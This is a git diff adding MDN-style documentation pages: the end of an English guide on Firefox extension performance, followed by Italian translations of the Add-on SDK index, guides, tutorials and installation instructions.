+<p>See <a href="/en/Extensions/Common_causes_of_memory_leaks_in_extensions" title="en/Extensions/Common_causes_of_zombie_compartments_in_extensions">Common causes of memory leaks in extensions</a> for ways to avoid zombie compartments and other kinds of leaks.</p>
+
+<p>As well as looking for these specific kinds of leaks, it's worth exercising your extension's functionality and checking the contents of about:memory for any excessive memory usage.  For example, <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=719601" title="https://bugzilla.mozilla.org/show_bug.cgi?id=719601">bug 719601</a> featured a "System Principal" JavaScript compartment containing 100s of MBs of memory, which is <em>much</em> larger than usual.</p>
+
+<h3 id="Avoid_Writing_Slow_CSS">Avoid Writing Slow CSS</h3>
+
+<ul>
+ <li>Read the <a href="/en/CSS/Writing_Efficient_CSS" title="en/CSS/Writing_Efficient_CSS">"writing efficient CSS"</a> guide.</li>
+ <li>Remember that any selector in your rule which might match many different nodes is a source of inefficiency during either selector matching or dynamic update processing. This is especially bad for the latter if the selector can dynamically start or stop matching. Avoid unqualified ":hover" like the plague.</li>
+</ul>
+
+<h3 id="Avoid_DOM_mutation_event_listeners">Avoid DOM mutation event listeners</h3>
+
+<p>DOM mutation event listeners are extremely expensive and, once added to a document even briefly, significantly harm its performance. As mutation events are officially deprecated, and <a href="/en-US/Add-ons/Overlay_Extensions/XUL_School/Appendix_F:_Monitoring_DOM_changes">there are many alternatives</a>, they should be avoided at all costs.</p>
+
+<h3 id="Lazily_load_services">Lazily load services</h3>
+
+<p>The <a href="/en/JavaScript_code_modules/XPCOMUtils.jsm#Methods" title="en/JavaScript_code_modules/XPCOMUtils.jsm#Methods">XPCOMUtils JavaScript module</a> provides two methods for lazily loading things:</p>
+
+<ul>
+ <li><code>defineLazyGetter()</code> defines a function on a specified object that acts as a getter which will be created the first time it's used. <a class="external" href="http://mxr.mozilla.org/mozilla-central/search?string=defineLazyGetter">See examples</a>.</li>
+ <li><code>defineLazyServiceGetter()</code> defines a function on a specified object which acts as a getter for a service. The service isn't obtained until the first time it's used. {{ LXRSearch("ident", "string", "defineLazyServiceGetter", "Look through the source") }} for examples.</li>
+</ul>
+
+<p>Many common services are already cached for you in <a href="/en-US/JavaScript_code_modules/Services.jsm">Services.jsm</a>.</p>
+
+<h3 id="Use_asynchronous_IO">Use asynchronous I/O</h3>
+
+<p>This cannot be stressed enough: never do synchronous I/O on the main thread.</p>
+
+<p>Any kind of I/O on the main thread, be it disk or network I/O, can cause serious UI responsiveness issues.</p>
+
+<ul>
+ <li>Never use synchronous XMLHttpRequests.</li>
+ <li><a href="/en-US/JavaScript_code_modules/NetUtil.jsm">NetUtils.jsm</a> provides helpers for asynchronous reading and copying of files.</li>
+ <li>Never access a SQLite database synchronously. Use the <a href="/en-US/Storage#Asynchronously">asynchronous API</a> instead.</li>
+ <li>Performing sequential, asynchronous operations can often be greatly simplified <a href="/en-US/Add-ons/Techniques/Promises">using Promises</a>.</li>
+</ul>
+
+<h3 id="Avoid_mouse_movement_events">Avoid mouse movement events</h3>
+
+<p>Avoid using mouse event listeners, including mouseover, mouseout, mouseenter, mouseexit, and especially mousemove. These events happen with high frequency, so their listeners can trivially create very high CPU overhead.</p>
+
+<p>When these events cannot be avoided, computation during the listeners should be kept to a minimum and real work throttled. The listeners should be added to the most specific element possible, and removed when not immediately necessary.</p>
+
+<h3 id="Avoid_animated_images">Avoid animated images</h3>
+
+<p>Animated images are much more expensive than generally expected, especially when used in XUL {{ XULElem("tree") }} elements..</p>
+
+<h3 id="Consider_using_Chrome_Workers">Consider using Chrome Workers</h3>
+
+<p>You can use a {{ domxref("ChromeWorker") }} to execute long running tasks or do data processing.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/Performance/Measuring_add-on_startup_performance" title="en/Measuring Add-on Startup Performance">Measuring Add-on Startup Performance</a></li>
+ <li><a class="external" href="http://blog.mozilla.com/addons/2010/06/14/improve-extension-startup-performance/" title="http://blog.mozilla.com/addons/2010/06/14/improve-extension-startup-performance/">How to Improve Extension Startup Performance</a></li>
+ <li><a href="/en-US/docs/Performance">General information about measuring and improving performance in Mozilla code</a></li>
+</ul>
diff --git a/files/it/mozilla/add-ons/sdk/builder/index.html b/files/it/mozilla/add-ons/sdk/builder/index.html
new file mode 100644
index 0000000000..a28a909dd4
--- /dev/null
+++ b/files/it/mozilla/add-ons/sdk/builder/index.html
@@ -0,0 +1,13 @@
+---
+title: Builder
+slug: Mozilla/Add-ons/SDK/Builder
+translation_of: Archive/Add-ons/Add-on_SDK/Builder
+---
+<p>Add-on Builder era un ambiente di sviluppo web-based che permetteva agli sviluppatori usando le SDK API, ma senza il bisogno di utilizzare lo strumento linea di comando <code>cfx</code>. <span class="st">È</span> stato dismesso l'1 Aprile 2014, e il dominio "builder.addons.mozilla.org" adesso reindirizza a questa pagina.<br>
+ <br>
+ Se hai già usato SDK attraverso il builder, conosci già la maggior parte delle cose di cui hai bisogno per sviluppare usando solo SDK. Le <a href="/en-US/Add-ons/SDK/High-Level_APIs">high-level</a> e le <a href="/en-US/Add-ons/SDK/Low-Level_APIs">low-level</a> API usate per il Builder sono esattamente le stesse. Per passare all'SDK:</p>
+<ul>
+ <li><a href="/en-US/Add-ons/SDK/Tutorials/Installation">Installa SDK localmente</a></li>
+ <li>Conosci lo strumento linea di comando cfx, con questa <a href="/en-US/Add-ons/SDK/Tutorials/Getting_started">procedura introduttiva</a> e la <a href="/en-US/Add-ons/SDK/Tools/cfx">referenza dettagliata su <code>cfx</code></a></li>
+ <li>Conosci il file <a href="/en-US/Add-ons/SDK/Tools/package_json">package.json</a> usato per configurare gli attributi del tuo add-on.</li>
+</ul>
diff --git a/files/it/mozilla/add-ons/sdk/guide/index.html b/files/it/mozilla/add-ons/sdk/guide/index.html
new file mode 100644
index 0000000000..82e8c97f15
--- /dev/null
+++ b/files/it/mozilla/add-ons/sdk/guide/index.html
@@ -0,0 +1,114 @@
+---
+title: Guide
+slug: Mozilla/Add-ons/SDK/Guide
+tags:
+  - Add-on SDK
+translation_of: Archive/Add-ons/Add-on_SDK/Guides
+---
+<p>Questa pagina contiene più articoli approfonditi sull'SDK.</p>
+
+<hr>
+<h3 id="Contributor's_guide"><a name="contributors-guide">Contributor's guide</a></h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="Guides/Getting_Started">Per cominciare</a></dt>
+ <dd>Scopri come contribuire all'SDK: ottieni il codice sorgente, apri/lavora su un bug, presenta una patch, ottieni recensioni e aiuto.</dd>
+ <dt><a href="Guides/Modules">Moduli</a></dt>
+ <dd>Impara di più sul sitema a moduli usato dall'SDK (che è basato sulla specifica CommonJS), su come i sandbox e i compartimenti possono essere usati per migliorare la sicurezza, o sull'SDK Module Loader incorporato, Cuddlefish.</dd>
+ <dt><a href="Guides/Classes_and_Inheritance">Classi ed ereditarietà</a></dt>
+ <dd>Impara come le classi e l'ereditarietà può essere implementata in JavaScript, usando costruttori e prototipi, e su come la funzione di aiuto fornita dall'SDK semplifica tutto ciò.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="Guides/Private_Properties">Proprietà Private</a></dt>
+ <dd>Scopri come le proprietà private possono essere implementate in JavaScript usando prefissi, chiusure (closures), e le WeakMaps, e come l'SDK supporta le proprietà private usando i namespace (che sono una generalizzazione delle WeakMaps).</dd>
+ <dt><a href="Guides/Content_Processes">Content Processes</a></dt>
+ <dd>L'SDK è stata concepita per lavorare in un ambiente dove il codice per manipolare il contenuto web viene eseguito in un processo diverso dal codice principale del componente aggiuntivo. Questo articolo mette in risalto le funzioni principali di questo design.</dd>
+ <dt><a href="Guides/Testing_the_Add-on_SDK">Testare il Componente Aggiuntivo nell'SDK</a></dt>
+ <dd>Impara come eseguire il Componente Aggiuntivo nella suite per il testing contenuta nell'SDK.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h3 id="Strutture_dell'SDK"><a id="sdk-infrastructure" name="sdk-infrastructure">Strutture dell'SDK</a></h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="Guides/Module_structure_of_the_SDK">Struttura a moduli dell'SDK</a></dt>
+ <dd>L'SDK, e i Componenti Aggiuntivi sviluppati con esso, sono formati a partire da moduli riusabili di JavaScript. Questo articolo spiega cosa sono questi moduli, come caricare i moduli, e come l'albero dei moduli dell'SDK è strutturato.</dd>
+ <dt><a href="Guides/SDK_API_Lifecycle">Ciclo Vitale delle API dell'SDK</a></dt>
+ <dd>Definizione di ciclo vitale per le API dell'SDK, incluso il rating di stabilità.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="Guides/Program_ID">Program ID</a></dt>
+ <dd>Il Program ID è un identificativo unico per il tuo Add-on. Questa guida spiega come è creato, come viene usato e come crearne uno tuo.</dd>
+ <dt><a href="Guides/Firefox_Compatibility">Compatibilità con Firefox</a></dt>
+ <dd>Controlla quale versione di Firefox è compatibile con la versione dell'SDK in uso, e controlla i problemi di compatibilità.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h3 id="Linguaggi_dell'SDK"><a name="sdk-idioms">Linguaggi dell'SDK</a></h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="Guides/Working_with_Events">Lavorare con gli Eventi</a></dt>
+ <dd>Scrivi codice attraverso gli Eventi. L'SDK ti permette di fare ciò usando il suo framework concepito per lavorare con gli eventi.</dd>
+ <dt><a href="Guides/Content_Scripts">Guida sui Content Scripts</a></dt>
+ <dd>Una panoramica sui content scripts, includendo: cosa sono, cosa possono fare, come caricarli e come comunicare con loro.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="Guides/Two_Types_of_Scripts">Due tipi di script</a></dt>
+ <dd>Questo articolo illustra le differenze tra le API disponibili al codice principale del tuo Add-On e quelle disponibili ai Content Scripts.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h3 id="XUL_migration"><a name="xul-migration">XUL migration</a></h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="Guides/XUL_Migration_Guide">XUL - Guida al Porting</a></dt>
+ <dd>Tecniche per aiutare il porting dall'add-on in XUL all'SDK.</dd>
+ <dt><a href="Guides/XUL_vs_SDK">XUL contro SDK</a></dt>
+ <dd>Le debolezze e le forze dell'SDK, confrontate ad un tradizionale add-on basato su XUL.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="Guides/Porting_the_Library_Detector">Esempio di Porting</a></dt>
+ <dd>Una procedura dettagliata sul porting di un semplice add-on basato su XUL all'SDK.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h3 id="Firefox_Multiprocesso"><a name="multiprocess-firefox">Firefox Multiprocesso</a></h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="Guides/Multiprocess_Firefox_and_the_SDK">Firefox Multiprocesso e l'SDK</a></dt>
+ <dd>Come controllare che il tuo add-on sia compatibile con Firefox Multiprocesso e, in caso di non-compatibilita, come correggere.</dd>
+</dl>
+</div>
+
+<div class="column-half"></div>
+</div>
diff --git a/files/it/mozilla/add-ons/sdk/index.html b/files/it/mozilla/add-ons/sdk/index.html
new file mode 100644
index 0000000000..42dd1efbbb
--- /dev/null
+++ b/files/it/mozilla/add-ons/sdk/index.html
@@ -0,0 +1,84 @@
+---
+title: Add-on SDK
+slug: Mozilla/Add-ons/SDK
+tags:
+  - Add-on SDK
+  - Guide Add-on
+translation_of: Archive/Add-ons/Add-on_SDK
+---
+<p>Con Add-on SDK puoi creare componenti aggiuntivi per Firefox utilizzando tecnologie standard del Web come JavaScript, HTML e CSS. SDK include delle API per JavaScript che puoi usare per sviluppare i componenti aggiuntivi, nonché strumenti per eseguirli, testarli e comprimerli in pacchetto.</p>
+
+<hr>
+<h3 id="Guide">Guide</h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials#getting-started">Per iniziare</a></dt>
+ <dd>Come<a href="it/Add-ons/SDK/Tutorials/Installazione"> installare SDK</a> e <a href="/en-US/Add-ons/SDK/Tutorials/Getting_Started_With_cfx">utilizzare gli strumenti della suite cfx</a> per sviluppare, testare e comprimere in pacchetto i componenti aggiuntivi.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials#interact-with-the-browser">Interagire con il browser</a></dt>
+ <dd><a href="/en-US/Add-ons/SDK/Tutorials/Open_a_Web_Page">Aprire pagine web</a>, <a href="/en-US/Add-ons/SDK/Tutorials/Listen_For_Page_Load">monitorare lo stato di caricamento di una pagina</a> e <a href="/en-US/Add-ons/SDK/Tutorials/List_Open_Tabs">elencare le schede aperte</a>.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials#development-techniques">Tecniche di sviluppo</a></dt>
+ <dd>Scopri le tecniche di sviluppo più comuni come, ad esempio, <a href="/en-US/Add-ons/SDK/Tutorials/Unit_testing">i test di unità</a>, <a href="/en-US/Add-ons/SDK/Tutorials/Logging">il logging</a>, <a href="/en-US/Add-ons/SDK/Tutorials/Creating_Reusable_Modules">i moduli riutilizzabili</a>, <a href="/en-US/Add-ons/SDK/Tutorials/l10n">la localizzazione</a> e <a href="/en-US/Add-ons/SDK/Tutorials/Mobile_development">lo sviluppo per dispositivi portatili</a>.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials#create-user-interfaces">Creare i componenti di una interfaccia utente</a></dt>
+ <dd>Aggiungi all’interfaccia utente componenti come <a href="/en-US/Add-ons/SDK/Tutorials/Adding_a_Button_to_the_Toolbar">pulsanti della barra strumenti</a>, <a href="/en-US/Add-ons/SDK/Tutorials/Add_a_Context_Menu_Item">menu contestuali</a>, <a href="/en-US/Add-ons/SDK/Tutorials/Add_a_Menu_Item_to_Firefox">elementi del menu</a> e <a href="/en-US/Add-ons/SDK/Tutorials/Display_a_Popup">finestre di dialogo</a>.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials#modify-web-pages">Modificare le pagine web</a></dt>
+ <dd>Modifica le pagine <a href="/en-US/Add-ons/SDK/Tutorials/Modifying_Web_Pages_Based_on_URL">basandoti su un determinato modello URL</a> oppure opera dinamicamente su <a href="/en-US/Add-ons/SDK/Tutorials/Modifying_the_Page_Hosted_by_a_Tab">una singola scheda</a>.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Annotator">Ricapitolando</a></dt>
+ <dd>Guida passo per passo del componente aggiuntivo esempio Annotator.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h3 id="Guide_varie">Guide varie</h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Guides#contributors-guide">Guida per i collaboratori</a></dt>
+ <dd>Scopri <a href="/en-US/Add-ons/SDK/Guides/Getting_Started">come contribuire</a> a SDK e quali sono gli elementi fondamentali nel suo codice, come <a href="/en-US/Add-ons/SDK/Guides/Modules">i moduli</a>, <a href="/en-US/Add-ons/SDK/Guides/Classes_and_Inheritance">le classi e l’ereditarietà</a>, <a href="/en-US/Add-ons/SDK/Guides/Private_Properties">le proprietà private</a> e <a href="/en-US/Add-ons/SDK/Guides/Content_Processes">l’elaborazione dei contenuti</a>.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Guides#sdk-infrastructure">Infrastruttura di SDK</a></dt>
+ <dd>I vari aspetti delle tecnologie alla base di SDK: i <a href="/en-US/Add-ons/SDK/Guides/Module_structure_of_the_SDK">moduli</a>, il <a href="/en-US/Add-ons/SDK/Guides/Program_ID">Program ID</a> e le regole che definiscono la <a href="/en-US/Add-ons/SDK/Guides/Firefox_Compatibility">compatibilità con Firefox</a>.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Guides/Content_Scripts">Content script</a></dt>
+ <dd>Una guida dettagliata per lavorare con i content script.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Guides#sdk-idioms">Idiomi di SDK</a></dt>
+ <dd>La <a href="/en-US/Add-ons/SDK/Guides/Working_with_Events">gestione degli eventi</a> e la <a href="/en-US/Add-ons/SDK/Guides/Two_Types_of_Scripts">distinzione tra add-on script e content script</a>.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Guides/XUL_Migration_Guide">Migrazione da XUL</a></dt>
+ <dd>Una guida per <a href="/en-US/Add-ons/SDK/Guides/XUL_Migration_Guide">effettuare il porting da XUL a SDK</a>. Include un <a href="/en-US/Add-ons/SDK/Guides/XUL_vs_SDK">confronto tra i due sistemi</a> e un <a href="/en-US/Add-ons/SDK/Guides/Porting_the_Library_Detector">esempio pratico</a> di come effettuare il porting di un componente aggiuntivo XUL.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Guides/Multiprocess_Firefox_and_the_SDK">Firefox in modalità multiprocesso e SDK</a></dt>
+ <dd>Come garantire e verificare la compatibilità di un componente aggiuntivo con Firefox in modalità multiprocesso.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h3 id="Riferimenti">Riferimenti</h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/High-Level_APIs">API di alto livello</a></dt>
+ <dd>Documentazione di riferimento per le API di alto livelli di SDK.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tools">Strumenti di riferimento</a></dt>
+ <dd>Documentazione di riferimento per lo strumento <a href="/en-US/Add-ons/SDK/Tools/cfx">cfx</a> utilizzato per sviluppare, testare e comprimere in pacchetto i componenti aggiuntivi, la <a href="/en-US/Add-ons/SDK/Tools/console">console</a> globale utilizzata per il logging e il file <a href="/en-US/Add-ons/SDK/Tools/package_json">package.json</a>.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Low-Level_APIs">API di basso livello</a></dt>
+ <dd>Documentazione di riferimento per le API di basso livello di SDK.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/it/mozilla/add-ons/sdk/tutorials/index.html b/files/it/mozilla/add-ons/sdk/tutorials/index.html
new file mode 100644
index 0000000000..3de449f5f1
--- /dev/null
+++ b/files/it/mozilla/add-ons/sdk/tutorials/index.html
@@ -0,0 +1,145 @@
+---
+title: Tutorials
+slug: Mozilla/Add-ons/SDK/Tutorials
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Add-ons/Add-on_SDK/Tutorials
+---
+<p>Questa pagina riporta articoli pratici su come compiere specifici compiti usando l'SDK.</p>
+
+<hr>
+<h3 id="Primi_passi"><a name="getting-started">Primi passi</a></h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Installation">Installazione </a></dt>
+ <dd>Scaricare, installare, e iniziare ad usare l'SDK su Windows, OS X e Linux.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Troubleshooting">Risoluzione problemi</a></dt>
+ <dd><span id="result_box" lang="it"><span class="hps">Alcune indicazioni</span> <span class="hps">per risolvere i problemi</span> <span class="hps">più comuni</span> <span class="hps">e ottenere</span> <span class="hps">più aiuto</span><span>.</span></span></dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Getting_started_with_cfx">Inizia</a></dt>
+ <dd><span id="result_box" lang="it"><span class="hps">Scenario</span> <span class="hps">di</span> <span class="hps">creazione di un</span> <span class="hps">semplice add</span><span>-on</span> <span class="hps">con l'SDK</span></span>.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h3 id="Creazione_di_l'interfacce_grafiche_per_l'utente"><a name="create-user-interfaces">Creazione di l'interfacce grafiche per l'utente</a></h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Adding_a_Button_to_the_Toolbar">Aggiungere un bottone alla toolbar </a></dt>
+ <dd>aggiungi un bottone alla toolbar degli Add-on di Firefox.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Add_a_Menu_Item_to_Firefox">Aggiungiere una voce al menu di Firefox </a></dt>
+ <dd>Aggiungi delle voci al menù principale di Firefox.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Display_a_Popup">Mostra un popup </a></dt>
+ <dd>Mostra un dialogo di popup implementato con HTML e JavaScript</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Add_a_Context_Menu_Item">Aggiungi una voce al menù contestuale</a></dt>
+ <dd>Aggiungi delle voci al menù contestuale di Firefox.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h3 id="Interazione_con_il_browser"><a name="interact-with-the-browser">Interazione con il browser</a></h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Open_a_Web_Page">Apri una pagina web</a></dt>
+ <dd>Apri una pagina web in una nuova scheda o in una nuova finestra del  browser , usando il modulo <em>tabs, </em>e accedendo al suo contenuto.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Listen_for_Page_Load">Cattura l'evento di caricamento di una pagina </a></dt>
+ <dd>Usa il modulo <em>tabs </em>per essere notificato quando nuove pagine web sono caricate ed accedi al loro contenuto.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/List_Open_Tabs">Recupera l'elenco delle schede aperte</a></dt>
+ <dd>Usa il modulo <em>tabs </em>per scorrere lungo le schede attualmente aperte, accedendo al loro contenuto.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h3 id="Modifica_delle_pagine_web"><a name="modify-web-pages">Modifica delle pagine web</a></h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Modifying_Web_Pages_Based_on_URL">Modifica le pagine web basate su URL</a></dt>
+ <dd>Crea filtri per le pagine web, basati sul loro URL: ogni volta che viene caricata una pagina web il cui URL combacia con il filtro, si esegue uno specifico script in essa.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Modifying_the_Page_Hosted_by_a_Tab">Modifica la pagina web attiva</a></dt>
+ <dd>Dinamicamente carica uno script in una pagina web attualmente attiva</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h3 id="Tecniche_di_Sviluppo"><a name="development-techniques">Tecniche di Sviluppo</a></h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Logging">Logging </a></dt>
+ <dd>Impiega messaggi di log alla console per scopi diagnostici.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Creating_reusable_modules">Crea moduli riusabili</a></dt>
+ <dd>Struttura il tuo add-on in moduli separati per renderlo più facile da sviluppare, debuggare e manutenerlo. Crea packages riusabili, contenenti i tuoi moduli, affinché anche altri sviluppatori di add-on possano usarli.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Unit_testing">Unit testing </a></dt>
+ <dd>Scrivi ed esegui test di unità usando il framework di test dell'SDK.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Chrome_authority">Chrome authority </a></dt>
+ <dd>Ottieni l'accesso alle componenti dell'oggetto, abilitando il tuo add-on a caricare e usare qualsiasi oggetto XPCOM.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Creating_event_targets">Crea event targets </a></dt>
+ <dd>Abilita gli oggetti che definisci ad emettere i loro eventi.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Listening_for_load_and_unload">Cattura l'evento abilitazione e disabilitazione dell'add-on</a></dt>
+ <dd>Ottieni notifiche quando il tuo add-on è abilitato o disabilitato da Firefox, e passa gli argomenti nel tuo add-on dalla linea di comando.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Add_a_Menu_Item_to_Firefox">Usa moduli di terze parti</a></dt>
+ <dd>Installa e usa moduli aggiuntivi che non sono inclusi nell'SDK stessa.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/l10n">Localizzazione</a></dt>
+ <dd>Scrivi codice localizzabile.</dd>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Mobile_development">Sviluppo Mobile</a></dt>
+ <dd>Sviluppa add-ons perFirefox Mobile su Android.</dd>
+ <dt><a href="/en-US/Add-ons/Add-on_Debugger">Add-on Debugger</a></dt>
+ <dd>Debugga i tuoi add-on in JavaScript.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h3 id="Unificazione_dei_concetti_illustrati"><a name="putting-it-together">Unificazione dei concetti illustrati</a></h3>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/Add-ons/SDK/Tutorials/Annotator">Annotator add-on </a></dt>
+ <dd>Una spiegazione esauriente di un add-on relativamente complesso.</dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/it/mozilla/add-ons/sdk/tutorials/installazione/index.html b/files/it/mozilla/add-ons/sdk/tutorials/installazione/index.html
new file mode 100644
index 0000000000..ae1ede9fb2
--- /dev/null
+++ b/files/it/mozilla/add-ons/sdk/tutorials/installazione/index.html
@@ -0,0 +1,75 @@
+---
+title: Installazione
+slug: Mozilla/Add-ons/SDK/Tutorials/Installazione
+translation_of: Mozilla/Add-ons/SDK/Tools/jpm#Installation
+---
+<h2 id="Prerequisiti"><span class="short_text" id="result_box" lang="it"><span class="hps">Prerequisiti</span></span></h2>
+<p>Per sviluppare con Add-on SDK hai bisogno di:</p>
+<ul>
+ <li><a href="http://www.python.org/">Python</a> 2.5, 2.6 o 2.7. <u> <strong>Attenzione</strong> Python 3.x non è supportato in alcune piattaforme.</u></li>
+ <li><a href="https://www.mozilla.org/it/firefox/desktop/">Firefox</a>.</li>
+ <li>L'SDK stessa: si puo scaricare l'ultima versione stabile dell'SDK in formato <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/jetpack/jetpack-sdk-latest.tar.gz">tarball</a> o <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/jetpack/jetpack-sdk-latest.zip">zip.</a></li>
+</ul>
+<p>L'ultima versione in sviluppo è presente nella <a href="https://github.com/mozilla/addon-sdk">repository su GitHub</a>.</p>
+<h2 id="Costruire_l'estensione_per_AMO">Costruire l'estensione per AMO</h2>
+<p>Solo l'ultima versione della tag verrà usata se presentata alla AMO.</p>
+<p>The git archive command is needed to expand some git attribute placeholders.</p>
+<pre>git checkout 1.16
+
+git archive 1.16 python-lib/cuddlefish/_version.py | tar -xvf -</pre>
+<h2 id="Procedimento_di_installazione_per_Linux_Mac_OS_X_FreeBSD">Procedimento di installazione per Linux/ Mac OS X / FreeBSD</h2>
+<p>Utilizzando il terminale si estrarre il file contenenti nell'archivio dell'SDK e dopodichè si ci sposta nella cartella principale appena estratta.</p>
+<p>Per esempio:</p>
+<pre>tar -xf addon-sdk.tar.gz
+cd addon-sdk
+</pre>
+<p>Se siete utenti Bash (molte persone lo sono) eseguire questo comando dal vostro terminale:</p>
+<pre>source bin/activate
+</pre>
+<p>se non funziona il comando precedente e/o non siete utensi Bash usate questo comando:</p>
+<pre>bash bin/activate
+</pre>
+<p>Dal vostro terminale dovrebbe aparire la stringa simile a questa contenente il nome della cartella dell'SDK, come per esempio:</p>
+<pre>(addon-sdk)~/mozilla/addon-sdk &gt;
+</pre>
+<h2 id="Installazione_nel_Mac_usando_Homebrew">Installazione nel Mac usando Homebrew</h2>
+<p>Se siete utenti Mac, si può scegliere di utilizzare <a href="http://brew.sh/">Homebrew</a> per l'installazione dell'SDK, usando i seguenti comandi:</p>
+<pre>brew install mozilla-addon-sdk</pre>
+<p>Una volta che l'installazione è completata con successo, si può usare il programma <code>cfx</code> dal terminale in qualsiasi momento: senza dover eseguire <code>bin/activate</code>.</p>
+<h2 id="Installation_on_Windows">Installation on Windows</h2>
+<p>Extract the file contents wherever you choose, and navigate to the root directory of the SDK with a shell/command prompt. For example:</p>
+<pre>7z.exe x addon-sdk.zip
+cd addon-sdk
+</pre>
+<p>Then run:</p>
+<pre>bin\activate
+</pre>
+<p>Your command prompt should now have a new prefix containing the full path to the SDK's root directory:</p>
+<pre>(C:\Users\mozilla\sdk\addon-sdk) C:\Users\Work\sdk\addon-sdk&gt;
+</pre>
+<h2 id="activate">activate</h2>
+<p>The activate command sets some environment variables that are needed for the SDK. It sets the variables for the current command prompt only. If you open a new command prompt, the SDK will not be active in the new prompt. until you type <code>activate</code> again.</p>
+<p>This means that you can have multiple copies of the SDK in different locations on disk and switch between them, or even have them both activated in different command prompts at the same time.</p>
+<h3 id="Making_activate_permanent">Making <code>activate</code> permanent</h3>
+<p>By setting these variables permanently in your environment so every new command prompt reads them, you can make activation permanent. Then you don't need to type <code>activate</code> every time you open up a new command prompt.</p>
+<p>Because the exact set of variables may change with new releases of the SDK, it's best to refer to the activation scripts to determine which variables need to be set. Activation uses different scripts and sets different variables for bash environments (Linux and Mac OS X) and for Windows environments.</p>
+<h4 id="Windows">Windows</h4>
+<p>On Windows, <code>bin\activate</code> uses <code>activate.bat</code>, and you can make activation permanent using the command line <code>setx</code> tool or the Control Panel.</p>
+<h4 id="LinuxMac_OS_X">Linux/Mac OS X</h4>
